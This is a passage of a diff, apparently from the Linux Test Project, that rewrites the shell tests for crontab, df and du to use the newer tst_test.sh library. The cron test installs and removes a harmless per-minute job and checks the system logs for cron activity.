+# the License, or (at your option) any later version.
 #
-# Description:	This testcase tests if crontab <filename> installs the cronjob
-# and cron schedules the job correctly. The job is set such that it will run
-# forever every minute of the day.
-# The cronjob runs a program that will print a string followed by the current
-# date and time. Five samples are taken inorder to verify if cron job is run
-# every minute. It is not practical to check if it works for the remaining
-# fields of the crontab file also.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-# Author:		Manoj Iyer manjo@mail.utexas.edu
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write the Free Software Foundation,
+# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 #
-# History:
-# 	Dec - 19 - 2002 - Created.
-#	Dec - 20 - 2002 - Correted Test #3, grep for the filename of cronjob
-#                         after executing crontab -l.
-#                       - Fixed bug in #3, test was not installing the cronjob.
-#                       - Added more informational messages TINFO.
-#                       - Changed permissions to this file to 'x'
+# Author: Manoj Iyer <manjo@mail.utexas.edu>
 
-export TST_TOTAL=3
+TST_ID="cron_tests01"
+TST_CNT=3
+TST_TESTFUNC=do_test
+TST_NEEDS_TMPDIR=1
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+. tst_test.sh
 
-if [ -z "$LTPTMP" -a -z "$TMPBASE" ]
-then
-    LTPTMP=/tmp
-else
-    LTPTMP=$TMPBASE
-fi
+. daemonlib.sh
 
-if [ -z "$LTPBIN" -a -z "$LTPROOT" ]
-then
-    LTPBIN=./
-else
-    LTPBIN=$LTPROOT/testcases/bin
-fi
+SYSLOG_STARTED=
+CROND_STARTED=
+LOGS=
 
-. cmdlib.sh
-SYSLOG_STARTED=0
+grep_logs()
+{
+	local pattern="$1"
+	local fail_msg="$2"
+	local pass_msg="${3:-}"
+	local n="${4:-10}"
 
-if [ -n "$SYSLOG_DAEMON" ]; then
-	status_daemon $SYSLOG_DAEMON
+	local lines=10
+	local out=out.$$
+	local err=err.$$
+	local i ret
+
+	for i in $(seq 1 $n); do
+		if [ "$LOGS" ]; then
+			tail -n $lines $LOGS | grep "$pattern" > $out 2> $err
+		else
+			journalctl -n $lines | grep "$pattern" > $out 2> $err
+		fi
+		ret=$?
+		[ $ret -eq 0 ] && break
+		sleep 1
+	done
+
+	if [ $ret -ne 0 ]; then
+		tst_res TFAIL "$fail_msg: `cat $err`"
+	else
+		[ "$pass_msg" ] && tst_res TPASS "$pass_msg"
+	fi
+}
+
+create_crontab()
+{
+	local crontab=cronjob.cron
+	local script=$1
+	local out=out.$$
+
+	tst_res TINFO "creating crontab: $script"
+
+	cat > $crontab <<EOF
+* * * * * $script
+EOF
+
+	tst_res TINFO "installing crontab file"
+	crontab $crontab > $out 2>&1
 	if [ $? -ne 0 ]; then
-		restart_daemon $SYSLOG_DAEMON
-		SYSLOG_STARTED=1
+		tst_brk TBROK "crontab: error while installing crontab file: `cat $out`"
+		return 1
 	fi
-fi
+	return 0
+}
 
-# Set return code RC variable to 0, it will be set with a non-zero return code
-# in case of error. Set TFAILCNT to 0, increment if there occures a failure.
-
-LOCTMP=${PWD}/tmp
-TFAILCNT=0
-RC=0
-
-# Test #1
-# Test if crontab <filename> installs the crontab file and cron schedules the
-# job correctly.
-
-export TCID=cron01
-export TST_COUNT=1
-
-$LTPBIN/tst_resm TINFO "Test #1: crontab <filename> installs the crontab file"
-$LTPBIN/tst_resm TINFO "Test #1: cron schedules the job listed in crontab file."
-
-# create the cron job. The job is to run the program tst1_cronprg.sh
-# every minute, every hour, every day, every month, any weekday.
-
-cat > $LTPTMP/tst1_cronjob.cron <<EOF
-* * * * * $LTPTMP/tst1_cronprg.sh
-EOF
-
-# Create the program that will be run by the cronjob. This program will print a
-# "Hello Hell" string and date time information.
-
-cat > $LTPTMP/tst1_cronprg.sh <<EOF
-#! /bin/sh
-
-DATE=\`LANG= date\`
-echo "Hello Hell today is \$DATE " > $LTPTMP/tst1_cron.out 2>&1
-exit 0
-EOF
-
-chmod +x $LTPTMP/tst1_cronprg.sh
-
-# install the cronjob, crontab <filename> does that. Sleep for 10s and the
-# check the /var/log/messages to see if there is a record of any crontab
-# activity.
-
-$LTPBIN/tst_resm TINFO "Test #1: Installing cron job ... "
-crontab $LTPTMP/tst1_cronjob.cron >$LTPTMP/cron_tst2n1.out 2>&1
-RC=$?
-
-if [ $RC -ne 0 ]
-then
-	$LTPBIN/tst_brk TBROK $LTPTMP/cron_tst2n1.out NULL \
-		"Test #1: crontab Broke while installing cronjob. Reason:"
-		 TFAILCNT=$(( $TFAILCNT+1 ))
-else
-	$LTPBIN/tst_resm TINFO "Test #1: Cronjob installed successfully"
-fi
-
-sleep 10s
-
-tail -n 10 /var/log/messages | grep crontab | grep REPLACE \
-	> $LTPTMP/cron_tst2n1.out 2>&1
-RC=$?
-#####
-# Some implementations log cron info to /var/log/cron instead...
-#####
-if [ "$RC" -ne 0 -a -f /var/log/cron ]; then
-	$LTPBIN/tst_resm TINFO "Test #1: /var/log/cron: Trying altenate log..."
-	tail -n 10 /var/log/cron | grep crontab | grep REPLACE \
-	    > $LTPTMP/cron_tst2n1.out 2>&1
-	RC=$?
-fi
-if [ $RC -ne 0 ]
-then
-	$LTPBIN/tst_resm TFAIL \
-		"Test #1: crontab activity not recorded in /var/log/messages."
-		 TFAILCNT=$(( $TFAILCNT+1 ))
-else
-	$LTPBIN/tst_resm TINFO \
-		"Test #1: cron activity logged in /var/log/messages"
-fi
-
-# just wait a random time for the cron to kickoff the cronjob.
-#####
-# Sleep enough to get _just past_ the start of the next minute --
-# like 2 or 3 seconds past... since the loop below sleeps for 62
-# seconds, we should start this 5-iteration loop closely following
-# the start of a minute...
-#####
-sleep 1m	# allows cron to run once
-XS=$(expr 60 - $(date | awk '{print $4}' | cut -f3 -d:))
-[ "$XS" -ne 0 ] && sleep ${XS}s		# sleep to the _next_ minute
-sleep 3					# ... for good measure...
-
-# The program executed by the cron job tst1_cronprg.sh will record the date
-# and time in a file tst1_cron.out. Extract the minute recorded by the program
-# into TS_MIN1 sleep for 1m 10s so that the cron will update this file after
-# 1m, extract TS_MIN2 and check if the minute recorded has advanced by 1. Take
-# 5 such samples, if any one of the fail, flag a failure.
-
-LOOP_CNTR=5
-TS_MIN1=0
-FAILCNT=0
-
-while [ $LOOP_CNTR -ne 0 ]
-do
-	TS_MIN1=$(awk '{print $8}' $LTPTMP/tst1_cron.out |
-	    awk -F: '{printf("%d", $2);}')
-
-	# wait for the cronjob to update the tst1_cron.out file.
-	sleep 1m 2s
-
-	# check the time recorded in the tst1_cron.out file,
-        # this should be 1 minute ahead of what was recored earlier.
-
-	TS_MIN2=$(awk '{print $8}' $LTPTMP/tst1_cron.out |
-	    awk -F: '{printf("%d", $2);}')
-
-	if [ "x${TS_MIN1}" = "x" ] || [ "x${TS_MIN2}" = "x" ]
-	then
-		$LTPBIN/tst_resm TFAIL \
-			"Test #1: Problem with $LTPTMP/tst1_cron.out file "
-		$LTPBIN/tst_resm TFAIL \
-			"Test #1: Cause: TS_MIN1= $TS_MIN1; TS_MIN2= $TS_MIN2"
-		FAILCNT=$(( $FAILCNT+1 ))
-		break;
+remove_crontab()
+{
+	local out=out.$$
+	tst_res TINFO "removing crontab file"
+	crontab -r > $out 2>&1
+	if [ $? -ne 0 ]; then
+		tst_brk TBROK "crontab: error while removing crontab file `cat $out`"
+		return 1
 	fi
+	return 0
+}
 
-	if [ $TS_MIN1 -eq 59 ]
-	then
-		TS_MIN1=0
-	else
-		TS_MIN1=$(( $TS_MIN1+1 ))
-	fi
+create_hello_script()
+{
+	local script=$1
 
-	if [ $TS_MIN2 -ne $TS_MIN1 ]
-	then
-		# if the value of the minute field did not advance by 1
-		# flag as failure.
-		FAILCNT=$(( $FAILCNT+1 ))
-		echo "    Expected $TS_MIN1;     Received $TS_MIN2" \
-			> $LTPTMP/tst1_cron.log
-		$LTPBIN/tst_res TFAIL $LTPTMP/tst1_cron.log \
-			"Test #1: Failed to update every minute. Reason:"
-		crontab -r >/dev/null 2>&1
-		break
-	else
-		echo "    Expected $TS_MIN1;     Received $TS_MIN2" \
-			> $LTPTMP/tst1_cron.log
-		$LTPBIN/tst_res TINFO $LTPTMP/tst1_cron.log \
-			"Test #1: Values are good: "
-	fi
-	LOOP_CNTR=$(( $LOOP_CNTR-1 ))
-done
-
-if [ $FAILCNT -eq 0 ]
-then
-	# check if var/log/messages file was updated.
-	grep "CMD ($LTPTMP/tst1_cronprg.sh)" /var/log/messages >$LTPTMP/cron_tst2n1.out 2>&1
-	RC=$?
-#####
-# Some implementations log cron info to /var/log/cron instead...
-#####
-	if [ "$RC" -ne 0 -a -f /var/log/cron ]; then
-		$LTPBIN/tst_resm TINFO "Test #1: /var/log/cron: alternate..."
-		grep "CMD ($LTPTMP/tst1_cronprg.sh)" /var/log/cron \
-		    >$LTPTMP/cron_tst2n1.out 2>&1
-		RC=$?
-	fi
-	if [ $RC -eq 0 ]
-	then
-		$LTPBIN/tst_resm TPASS  \
-			"Test #1: installed cronjob, and cron executed the cronjob."
-	else
-		$LTPBIN/tst_res TFAIL $LTPTMP/cron_tst2n1.out \
-			"Test #1: Test failed. Reason:"
-		 		 TFAILCNT=$(( $TFAILCNT+1 ))
-	fi
-else
-	$LTPBIN/tst_res TFAIL $LTPTMP/cron_tst1.out \
-		"Test #1: Cron did not execute every minute"
-		 TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-#remove the cron job that was installed.
-crontab -r >/dev/null 2>&1
-
-
-# Test #2
-# Test if crontab -r removes the installed  crontab file
-
-export TCID=cron02
-export TST_COUNT=2
-
-$LTPBIN/tst_resm TINFO "Test #2: crontab -r removes the crontab file."
-
-cat > $LTPTMP/tst2_cronjob.cron <<EOF
-* * * * * $LTPTMP/tst2_cronprg.sh
-EOF
-
-cat > $LTPTMP/tst2_cronprg.sh <<EOF
-#! /bin/sh
-
+	cat > $script <<EOF
+#!/bin/sh
 echo "Hello Hell"
 exit 0
 EOF
+	chmod +x $script
+}
 
-chmod +x  $LTPTMP/tst2_cronprg.sh >/dev/null 2>&1
+install_cron_test()
+{
+	local script=$PWD/cronprg.sh
+	local cron_out=$PWD/tst1_cron.out
+	local err=err.log
+	local sleep_sec
+	local ts_min1 ts_min2 fail
 
-$LTPBIN/tst_resm TINFO "Test #2: installing crontab file."
+	tst_res TINFO "test install cron job"
 
-crontab $LTPTMP/tst2_cronjob.cron >$LTPTMP/cron_tst2n1.out 2>&1
-
-if [ $? -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/cron_tst2n1.out NULL \
-        "Test #2: crontab Broke while installing cronjob. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-sleep 10s
-
-tail -n 10 /var/log/messages | grep crontab | grep REPLACE \
-    >$LTPTMP/cron_tst2n1.out 2>&1
-RC=$?
-#####
-# Some implementations log cron info to /var/log/cron instead...
-#####
-if [ "$RC" -ne 0 -a -f /var/log/cron ]; then
-	$LTPBIN/tst_resm TINFO "Test #1: /var/log/cron: alternate..."
-	tail -n 10 /var/log/cron | grep crontab | grep REPLACE \
-	    >$LTPTMP/cron_tst2n1.out 2>&1
-	RC=$?
-fi
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_resm TFAIL \
-        "Test #2: crontab activity not recorded in var/log/messages."
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-$LTPBIN/tst_resm TINFO "Test #2: uninstalling crontab file."
-
-crontab -r  >$LTPTMP/cron_tst2n1.out 2>&1
-RC=$?
-
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/cron_tst2n1.out NULL \
-        "Test #2: crontab Broke while installing cronjob. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-else
-	tail -n 10 /var/log/messages | grep DELETE >$LTPTMP/cron_tst2n1.out 2>&1
-	RC=$?
-#####
-# Some implementations log cron info to /var/log/cron instead...
-#####
-	if [ "$RC" -ne 0 -a -f /var/log/cron ]; then
-		$LTPBIN/tst_resm TINFO "Test #1: /var/log/cron: alternate..."
-		tail -n 10 /var/log/cron | grep DELETE \
-		    >$LTPTMP/cron_tst2n1.out 2>&1
-		RC=$?
-	fi
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_resm TFAIL \
-			"Test #2: crontab activity not recorded in var/log/messages."
-		 		 TFAILCNT=$(( $TFAILCNT+1 ))
-	else
-		$LTPBIN/tst_resm TPASS "Test #2: crontab removed the cronjob"
-	fi
-fi
-
-
-# Test #3
-# Test if crontab -l lists the cronjob installed.
-
-export TCID=cron03
-export TST_COUNT=3
-
-$LTPBIN/tst_resm TINFO "Test #3: crontab -l lists the cronjobs installed"
-
-cat > $LTPTMP/tst2_cronjob.cron <<EOF
-* * * * * $LTPTMP/tst2_cronprg.sh
-EOF
-
-cat > $LTPTMP/tst2_cronprg.sh <<EOF
+	cat > $script <<EOF
 #! /bin/sh
-
-echo "Hello Hell"
+DATE=\`LC_ALL=C date\`
+echo "Hello Hell today is \$DATE" > $cron_out 2>&1
 exit 0
 EOF
+	chmod +x $script
 
-chmod +x  $LTPTMP/tst2_cronprg.sh >/dev/null 2>&1
+	create_crontab $script 2> $err
 
-$LTPBIN/tst_resm TINFO "Test #3: installing crontab file ..."
-crontab $LTPTMP/tst2_cronjob.cron >$LTPTMP/cron_tst2n1.out 2>&1
-if [ $? -ne 0 ]
-then
-    $LTPBIN/tst_brkm TBROK NULL \
-		"Test #3: crontab failed while installing cronjob"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-else
-    $LTPBIN/tst_resm TINFO "Test #3: Cron job installed."
-fi
-
-crontab -l | grep "$LTPTMP/tst2_cronprg.sh" >$LTPTMP/cron_tst2n1.out 2>&1
-RC=$?
-if [ $RC -ne 0 ]
-then
-	$LTPBIN/tst_brkm TBROK NULL \
-		"Test #3: crontab failed while listing cronjobs installed"
-		 TFAILCNT=$(( $TFAILCNT+1 ))
-else
-	$LTPBIN/tst_resm TINFO \
-		"Test #3: crontab -l listed cronjob tst2_cronprg.sh"
-fi
-
-$LTPBIN/tst_resm TINFO "Test #3: uninstalling crontab file."
-crontab -r >/dev/null 2>&1
-
-if [ $? -ne 0 ]
-then
-	$LTPBIN/tst_brkm TBROK NULL "Test #3: crontab failed while removing cronjob"
-		 TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-crontab -l >$LTPTMP/cron_tst2.out 2>&1
-if [ $? -ne 0 ]
-then
-	grep "no crontab for" $LTPTMP/cron_tst2.out >$LTPTMP/cron_tst2n1.out 2>&1
-	RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_res TFAIL $LTPTMP/cron_tst2n1.out \
-			"Test #3: crontab failed removing cronjob. Reason:"
-		TFAILCNT=$(( $TFAILCNT+1 ))
+	if [ $? -ne 0 ]; then
+		tst_brk TBROK "crontab: error while creating cron job: `cat $err`"
 	else
-		$LTPBIN/tst_resm TINFO "crontab uninstalled all jobs for user"
-		$LTPBIN/tst_resm TPASS "crontab did not list any cronjobs"
+		tst_res TINFO "cron job installed successfully"
 	fi
-else
-	$LTPBIN/tst_res TFAIL $LTPTMP/cron_tst2n1.out \
-		"Test #3: crontab failed removing cronjob. Reason:"
-	TFAILCNT=$(( $TFAILCNT+1 ))
-fi
 
-if [ $SYSLOG_STARTED -eq 1 ]; then
-	stop_daemon $SYSLOG_DAEMON
-fi
+	grep_logs 'crontab.*REPLACE' \
+		"cron activity not recorded" \
+		"cron activity logged"
 
-exit $TFAILCNT
+	# Sleep 3s after next minute since the loop below sleeps for 62 seconds, we
+	# should start this 5-iteration loop closely following the start of a
+	# minute.
+	sleep_sec=$((123-`date +%-S`))
+	tst_res TINFO "sleep for ${sleep_sec}s"
+	sleep $sleep_sec
+
+	# $script executed by the cron job will record the date and time into file
+	# $cron_out. Get the minute recorded by the program, sleep to allow the cron
+	# job to update file after 1m, and check if the value is advanced by 1.
+	for i in $(seq 1 5); do
+		tst_res TINFO "loop: $i: start"
+
+		if [ ! -f "$cron_out" ]; then
+			tst_res TFAIL "loop $i: file $cron_out doesn't exist"
+			fail=1
+			break
+		fi
+
+		ts_min1=$(awk '{print $8}' $cron_out | awk -F: '{printf("%d", $2);}')
+
+		# wait for the cron job to update output file
+		sleep 62
+
+		# Check the time recorded in output file, this should be 1 minute ahead of
+		# what was recored earlier.
+		ts_min2=$(awk '{print $8}' $cron_out | awk -F: '{printf("%d", $2);}')
+
+		if [ "x${ts_min1}" = "x" ] || [ "x${ts_min2}" = "x" ]; then
+			tst_res TFAIL "loop $i: failed to get time: ts_min1: $ts_min1, ts_min2: $ts_min2"
+			fail=1
+			break
+		fi
+
+		[ $ts_min1 -eq 59 ] && ts_min1=0 || ts_min1=$(( $ts_min1+1 ))
+
+		if [ $ts_min2 -ne $ts_min1 ]; then
+			tst_res TFAIL "loop $i: failed to update every minute: expected: $ts_min1, received: $ts_min2"
+			fail=1
+			break
+		fi
+	done
+
+	if [ ! "$fail" ]; then
+		grep_logs "CMD ($script)" \
+			"failed to install cron job installed and execute it" \
+			"cron job installed and executed" 1
+	fi
+
+	remove_crontab
+}
+
+remove_cron_job_test()
+{
+	local script=$PWD/cronprg.sh
+
+	tst_res TINFO "test remove cron job"
+
+	create_hello_script $script
+	create_crontab $script
+
+	grep_logs 'crontab.*REPLACE' \
+		"crontab activity not recorded"
+
+	remove_crontab && grep_logs DELETE \
+		"crontab activity not recorded" \
+		"crontab removed the cron job" 1
+}
+
+list_cron_jobs_test()
+{
+	local script=$PWD/cronprg.sh
+	local out=cron.out
+
+	tst_res TINFO "test list installed cron jobs"
+
+	create_hello_script $script
+	create_crontab $script
+
+	tst_res TINFO "crontab: listing cron jobs"
+	crontab -l | grep "$script" > $out 2>&1 || \
+		tst_brk TBROK "crontab failed while listing installed cron jobs: `cat $out`"
+
+	remove_crontab
+
+	crontab -l > $out 2>&1
+	if [ $? -ne 0 ]; then
+		grep -q "no crontab for" $out
+		if [ $? -ne 0 ]; then
+			tst_res TFAIL "crontab failed removing cron job: `cat $out`"
+		else
+			tst_res TPASS "crontab did not list any cron jobs"
+		fi
+	else
+		tst_res TFAIL "crontab failed removing cron job: `cat $out`"
+	fi
+}
+
+setup()
+{
+	if [ "$SYSLOG_DAEMON" ]; then
+		status_daemon $SYSLOG_DAEMON
+		if [ $? -ne 0 ]; then
+			restart_daemon $SYSLOG_DAEMON
+			SYSLOG_STARTED=1
+		fi
+	fi
+
+	if [ "$CROND_DAEMON" ]; then
+		status_daemon $CROND_DAEMON
+		if [ $? -ne 0 ]; then
+			restart_daemon $CROND_DAEMON
+			CROND_STARTED=1
+		fi
+	fi
+
+	for f in /var/log/syslog /var/log/messages /var/log/cron /var/log/cron.log; do
+		[ -f "$f" ] && LOGS="$f $LOGS"
+	done
+}
+
+cleanup()
+{
+	[ "$SYSLOG_STARTED" = "1" ] && stop_daemon $SYSLOG_DAEMON
+	[ "$CROND_STARTED" = "1" ] && stop_daemon $CROND_DAEMON
+}
+
+do_test()
+{
+	case $1 in
+	1) install_cron_test;;
+	2) remove_cron_job_test;;
+	3) list_cron_jobs_test;;
+	esac
+}
+
+tst_run
diff --git a/testcases/commands/df/df01.sh b/testcases/commands/df/df01.sh
index 4505aec..739ec93 100755
--- a/testcases/commands/df/df01.sh
+++ b/testcases/commands/df/df01.sh
@@ -16,22 +16,40 @@
 # Test df command with some basic options.
 #
 
-TCID=df01
-TST_TOTAL=12
-. test.sh
+TST_ID="df01"
+TST_CNT=12
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_TESTFUNC=test
+TST_OPTS="f:"
+TST_USAGE=usage
+TST_PARSE_ARGS=parse_args
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_DEVICE=1
+. tst_test.sh
+
+usage()
+{
+	cat << EOF
+usage: $0 [-f <ext2|ext3|ext4|vfat|...>]
+
+OPTIONS
+-f	Specify the type of filesystem to be built.  If not
+	specified, the default filesystem type (currently ext2)
+	is used.
+EOF
+}
+
+FS_TYPE=ext2
+
+parse_args()
+{
+	FS_TYPE="$2"
+}
 
 setup()
 {
-	tst_require_root
-
-	tst_check_cmds df mkfs.${FS_TYPE} stat
-
-	tst_tmpdir
-
-	TST_CLEANUP="cleanup"
-
-	tst_acquire_device
-
 	tst_mkfs ${FS_TYPE} ${TST_DEVICE}
 
 	ROD_SILENT mkdir -p mntpoint
@@ -39,11 +57,11 @@
 	mount ${TST_DEVICE} mntpoint
 	ret=$?
 	if [ $ret -eq 32 ]; then
-		tst_brkm TCONF "Cannot mount ${FS_TYPE}, missing driver?"
+		tst_brk TCONF "Cannot mount ${FS_TYPE}, missing driver?"
 	fi
 
 	if [ $ret -ne 0 ]; then
-		tst_brkm TBROK "Failed to mount device: mount exit = $ret"
+		tst_brk TBROK "Failed to mount device: mount exit = $ret"
 	fi
 
 	DF_FS_TYPE=$(mount | grep "$TST_DEVICE" | awk '{print $5}')
@@ -52,25 +70,6 @@
 cleanup()
 {
 	tst_umount ${TST_DEVICE}
-
-	tst_release_device
-
-	tst_rmdir
-}
-
-usage()
-{
-	cat << EOF
-	usage: $0 [-f <ext2|ext3|ext4|vfat|...>]
-
-	OPTIONS
-		-f	Specify the type of filesystem to be built.  If not
-			specified, the default filesystem type (currently ext2)
-			is used.
-		-h	Display help text and exit.
-
-EOF
-	tst_brkm TCONF "Display help text or unknown options"
 }
 
 df_test()
@@ -84,7 +83,7 @@
 
 	df_check $cmd
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "'$cmd' failed, not expected."
+		tst_res TFAIL "'$cmd' failed, not expected."
 		return
 	fi
 
@@ -94,9 +93,9 @@
 
 	df_check $cmd
 	if [ $? -eq 0 ]; then
-		tst_resm TPASS "'$cmd' passed."
+		tst_res TPASS "'$cmd' passed."
 	else
-		tst_resm TFAIL "'$cmd' failed."
+		tst_res TFAIL "'$cmd' failed."
 	fi
 
 	ROD_SILENT rm -rf mntpoint/testimg
@@ -111,10 +110,10 @@
 	if [ $? -ne 0 ]; then
 		grep -q -E "unrecognized option | invalid option" output
 		if [ $? -eq 0 ]; then
-			tst_resm TCONF "'$1' not supported."
+			tst_res TCONF "'$1' not supported."
 			return 32
 		else
-			tst_resm TFAIL "'$1' failed."
+			tst_res TFAIL "'$1' failed."
 			cat output
 			return 1
 		fi
@@ -181,7 +180,7 @@
 {
 	df_verify "df -h"
 	if [ $? -eq 0 ]; then
-		tst_resm TPASS "'df -h' passed."
+		tst_res TPASS "'df -h' passed."
 	fi
 }
 
@@ -189,7 +188,7 @@
 {
 	df_verify "df -H"
 	if [ $? -eq 0 ]; then
-		tst_resm TPASS "'df -H' passed."
+		tst_res TPASS "'df -H' passed."
 	fi
 }
 
@@ -197,7 +196,7 @@
 {
 	df_verify "df -m"
 	if [ $? -eq 0 ]; then
-		tst_resm TPASS "'df -m' passed."
+		tst_res TPASS "'df -m' passed."
 	fi
 }
 
@@ -205,7 +204,7 @@
 {
 	df_verify "df --version"
 	if [ $? -eq 0 ]; then
-		tst_resm TPASS "'df --version' passed."
+		tst_res TPASS "'df --version' passed."
 	fi
 }
 
@@ -220,29 +219,10 @@
 
 	grep ${TST_DEVICE} output | grep -q mntpoint
 	if [ $? -ne 0 ]; then
-		tst_resm TPASS "'$cmd' passed."
+		tst_res TPASS "'$cmd' passed."
 	else
-		tst_resm TFAIL "'$cmd' failed."
+		tst_res TFAIL "'$cmd' failed."
 	fi
 }
 
-FS_TYPE=ext2
-while getopts f:h: OPTION; do
-	case $OPTION in
-	f)
-		FS_TYPE=$OPTARG;;
-	h)
-		usage;;
-	?)
-		usage;;
-	esac
-done
-
-setup
-
-for i in $(seq 1 ${TST_TOTAL})
-do
-	test$i
-done
-
-tst_exit
+tst_run
diff --git a/testcases/commands/du/du01.sh b/testcases/commands/du/du01.sh
index 799099e..2fe23b3 100755
--- a/testcases/commands/du/du01.sh
+++ b/testcases/commands/du/du01.sh
@@ -20,16 +20,18 @@
 # Test du command with some basic options.
 #
 
-TCID=du01
-TST_TOTAL=23
-. test.sh
+TST_ID="du01"
+TST_CNT=23
+TST_SETUP=setup
+TST_TESTFUNC=do_test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="dd du stat"
+. tst_test.sh
 
 setup()
 {
-	tst_check_cmds dd du stat
-
-	tst_tmpdir
-	TST_CLEANUP=cleanup
+	ROD_SILENT mkdir basedir
+	ROD_SILENT cd basedir
 
 	ROD_SILENT dd if=/dev/zero of=testfile bs=1M count=10
 
@@ -44,79 +46,82 @@
 	export DU_BLOCK_SIZE=1024
 }
 
-cleanup()
-{
-	tst_rmdir
-}
-
 du_test()
 {
 	local test_return
 
-	$1 > temp 2>&1
+	$1 > ../temp 2>&1
 	test_return=$?
 
 	if [ ${test_return} -ne 0 ]; then
-		grep -q -E "unrecognized option|invalid option" temp
+		grep -q -E "unrecognized option|invalid option" ../temp
 		if [ $? -eq 0 ]; then
-			tst_resm TCONF "'$1' not supported"
+			tst_res TCONF "'$1' not supported"
 		else
-			tst_resm TFAIL "'$1' failed"
+			tst_res TFAIL "'$1' failed"
 		fi
 		return
 	fi
 
-	grep -q $2 temp
+	grep -q $2 ../temp
 	if [ $? -eq 0 ]; then
-		tst_resm TPASS "'$1' passed"
+		tst_res TPASS "'$1' passed"
 	else
-		tst_resm TFAIL "'$1' failed"
-		tst_resm TINFO "Looking for '$2' in:"
-		cat temp
+		tst_res TFAIL "'$1' failed"
+		tst_res TINFO "Looking for '$2' in:"
+		cat ../temp
 	fi
 }
 
-setup
-
 block_size=512
+page_size=$(getconf PAGESIZE)
+if [ "$page_size" -lt 1024 ]; then
+	tst_brk TBROK "Page size < 1024"
+fi
+page_size=$((page_size / 1024))
 
 # The output could be different in some systems, if we use du to
 # estimate file space usage with the same filesystem and the same size.
 # So we use the approximate value to check.
-check1="10[2-3][0-9][0-9][[:space:]]\."
-check2="10[2-3][0-9][0-9][[:space:]]testfile"
-check3="[0-4][[:space:]]\.\/testdir\/testsymlink"
-check5="20[4-5][0-9][0-9][[:space:]]\."
-check7="10[4-5][0-9][0-9]\{4\}[[:space:]]\."
-check9="10[2-3][0-9][0-9][[:space:]]total"
-check11="10[2-3][0-9][0-9][[:space:]]testdir\/testsymlink"
-check14="1[0,1]M[[:space:]]\."
-check16="10[2-3][0-9][0-9][[:space:]]testdir\/"
-check20="11M[[:space:]]\."
-check23="[0-9]\{1,2\}[[:space:]]\."
+check1="^10[2-3][0-9][0-9][[:space:]]\."
+check2="^10[2-3][0-9][0-9][[:space:]]testfile"
+check3="^\(0\|${page_size}\)[[:space:]]\.\/testdir\/testsymlink"
+check5="^20[4-6][0-9][0-9][[:space:]]\."
+check7="^10[4-5][0-9][0-9]\{4\}[[:space:]]\."
+check9="^10[2-3][0-9][0-9][[:space:]]total"
+check11="^10[2-3][0-9][0-9][[:space:]]testdir\/testsymlink"
+check14="^1[0,1]M[[:space:]]\."
+check16="^10[2-3][0-9][0-9][[:space:]]testdir\/"
+check20="^11M[[:space:]]\."
+check23="^[0-9]\{1,2\}[[:space:]]\."
 
-du_test "du" ${check1}
-du_test "du testfile" ${check2}
-du_test "du -a" ${check3}
-du_test "du --all" ${check3}
-du_test "du -B ${block_size}" ${check5}
-du_test "du --block-size=${block_size}" ${check5}
-du_test "du -b" ${check7}
-du_test "du --bytes" ${check7}
-du_test "du -c" ${check9}
-du_test "du --total" ${check9}
-du_test "du -D testdir/testsymlink" ${check11}
-du_test "du --dereference-args testdir/testsymlink" ${check11}
-du_test "du --max-depth=1" ${check1}
-du_test "du --human-readable" ${check14}
-du_test "du -k" ${check1}
-du_test "du -L testdir/" ${check16}
-du_test "du --dereference testdir/" ${check16}
-du_test "du -P" ${check1}
-du_test "du --no-dereference" ${check1}
-du_test "du --si" ${check20}
-du_test "du -s" ${check1}
-du_test "du --summarize" ${check1}
-du_test "du --exclude=testfile" ${check23}
+do_test()
+{
+	case $1 in
+	1) du_test "du" ${check1};;
+	2) du_test "du testfile" ${check2};;
+	3) du_test "du -a" ${check3};;
+	4) du_test "du --all" ${check3};;
+	5) du_test "du -B ${block_size}" ${check5};;
+	6) du_test "du --block-size=${block_size}" ${check5};;
+	7) du_test "du -b" ${check7};;
+	8) du_test "du --bytes" ${check7};;
+	9) du_test "du -c" ${check9};;
+	10) du_test "du --total" ${check9};;
+	11) du_test "du -D testdir/testsymlink" ${check11};;
+	12) du_test "du --dereference-args testdir/testsymlink" ${check11};;
+	13) du_test "du --max-depth=1" ${check1};;
+	14) du_test "du --human-readable" ${check14};;
+	15) du_test "du -k" ${check1};;
+	16) du_test "du -L testdir/" ${check16};;
+	17) du_test "du --dereference testdir/" ${check16};;
+	18) du_test "du -P" ${check1};;
+	19) du_test "du --no-dereference" ${check1};;
+	20) du_test "du --si" ${check20};;
+	21) du_test "du -s" ${check1};;
+	22) du_test "du --summarize" ${check1};;
+	23) du_test "du --exclude=testfile" ${check23};;
+	esac
+}
 
-tst_exit
+tst_run
diff --git a/testcases/commands/eject/00_Descriptions.txt b/testcases/commands/eject/00_Descriptions.txt
deleted file mode 100644
index 8a74f85..0000000
--- a/testcases/commands/eject/00_Descriptions.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-eject01
-	Test that eject -d lists the default device.
-
-eject02
-	Test that eject will eject the defaut cdrom device
-
-eject03
-	Test the eject command will eject the default cdrom device and also unmount
-device if it is currently mounted.
-
-eject04
-	Test if eject -a on|1|off|0 will enable/disable auto-eject mode the drive
-automatically ejects when the device is closed.
diff --git a/testcases/commands/eject/Makefile b/testcases/commands/eject/Makefile
index d22173d..d805ac5 100644
